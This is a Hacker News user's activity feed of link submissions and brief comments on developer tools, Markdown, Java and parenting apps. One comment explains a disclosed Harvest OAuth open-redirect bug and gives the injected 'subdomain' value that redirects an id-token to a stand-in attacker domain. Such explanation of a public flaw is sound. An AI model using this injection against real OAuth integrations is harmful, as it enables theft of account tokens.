Hacker News: genzer

Dear GitHub, Don't sell to Microsoft (2018)

genzer — Wed, 29 Apr 2026 06:16:39 +0000

Article URL: https://github.com/dear-github/dear-github/issues/302

Comments URL: https://news.ycombinator.com/item?id=47944751

Points: 6

# Comments: 1

New comment by genzer in "How Markdown took over the world"

genzer — Sun, 11 Jan 2026 00:44:45 +0000

I argee. Up until now, the most PITA for me in Markdown is the table syntax. Even CommonMark does not have any spec for table except for long running discussions with lots of proposals.

AsciiDoc(tor) has a nice support for tables. It also supports more complex features like merged cells, span cols and all but the syntax suffers from there. I guess that is also why AsciiDoc was not widely adopted.

New comment by genzer in "Installing Java in 2025, and Version Managers"

genzer — Fri, 28 Nov 2025 08:06:33 +0000

Ever since I found `asdf`, I threw away jenv, nvm, fmn and rvm.

New comment by genzer in "Quicksort with Jenkins for fun and no profit"

genzer — Fri, 26 Jan 2024 04:20:34 +0000

This made me laugh out loud! So much related!

Ever since I discovered `act` [1], I made a lot less commits.

[1]: https://github.com/nektos/act

Creator is hoping to raise at least €1k for basic living expense

genzer — Sat, 13 Jan 2024 10:25:08 +0000

Comments URL: https://news.ycombinator.com/item?id=38978665

Points: 205

# Comments: 120

New comment by genzer in "Stealing OAuth tokens of Microsoft accounts via open redirect in Harvest App"

genzer — Sun, 22 Oct 2023 13:31:03 +0000

The vulnerability came from the outlook-integration.harvestapp.com. It used a JSON object as `state` containing instructions once the OAuth2 Callback succeeded.

The property `subdomain` was used to redirect the browser to a subdomain of harvestapp.com, passing the `#id-token`. The problem came from the fact that the value of `subdomain` was injected directly to:

https://${subdomain}.harvestapp.com/...#id-token=...

By setting the `subdomain` in JSON payload to `attacker-controlled.com/` (note the trailing slash), the URL become:

  https://attacker-controlled.com/.harvestapp.com/...#id-token=..

..thus redirects the browser to another domain, leaking the token.

Pure CSS Web Art

genzer — Sat, 06 Aug 2022 04:49:05 +0000

Article URL: https://css-art.com/

Comments URL: https://news.ycombinator.com/item?id=32364910

Points: 1

# Comments: 0

Gazillion Virtual Threads

genzer — Tue, 24 May 2022 09:39:09 +0000

Article URL: https://www.javaspecialists.eu/archive/Issue301-Gazillion-Virtual-Threads.html

Comments URL: https://news.ycombinator.com/item?id=31489907

Points: 1

# Comments: 0

Achieving 5M persistent connections with Project Loom virtual threads

genzer — Sat, 30 Apr 2022 08:07:42 +0000

Article URL: https://github.com/ebarlas/project-loom-c5m

Comments URL: https://news.ycombinator.com/item?id=31214253

Points: 309

# Comments: 145

Sophos Cloud web app is a SPA with over 30MB bundle size

genzer — Fri, 15 Apr 2022 02:13:02 +0000

Article URL: https://cloud-assets.sophos.com/assets/ebee9bb1fcfde61a16291cf06ccb44621748992e/customer/sophos.js

Comments URL: https://news.ycombinator.com/item?id=31035988

Points: 1

# Comments: 1

A repository of breaches of AWS customers

genzer — Wed, 13 Apr 2022 15:01:13 +0000

Article URL: https://github.com/ramimac/aws-customer-security-incidents

Comments URL: https://news.ycombinator.com/item?id=31015478

Points: 1

# Comments: 0

New comment by genzer in "NewPipe: A lightweight YouTube experience for Android"

genzer — Thu, 24 Feb 2022 05:53:30 +0000

Have you tried YouTube Kids? I allow my daughter using only YouTube Kids (in kid mode) on my Android phone. The suggested content was good enough. Google also allowed you to supervise the content [1].

[1]: https://support.google.com/youtubekids/answer/7178746#block_...

New comment by genzer in "Adhole.org is shutting down"

genzer — Thu, 13 Jan 2022 12:17:39 +0000

This reminds of the journey of the creator of icanhazip [1]. He had created it and maintained it through several milestones _on his own_ until he could no longer carry on. Luckily it ended on a good note as Cloudflare decided to "buy" it.

[1]: https://major.io/2021/06/06/a-new-future-for-icanhazip/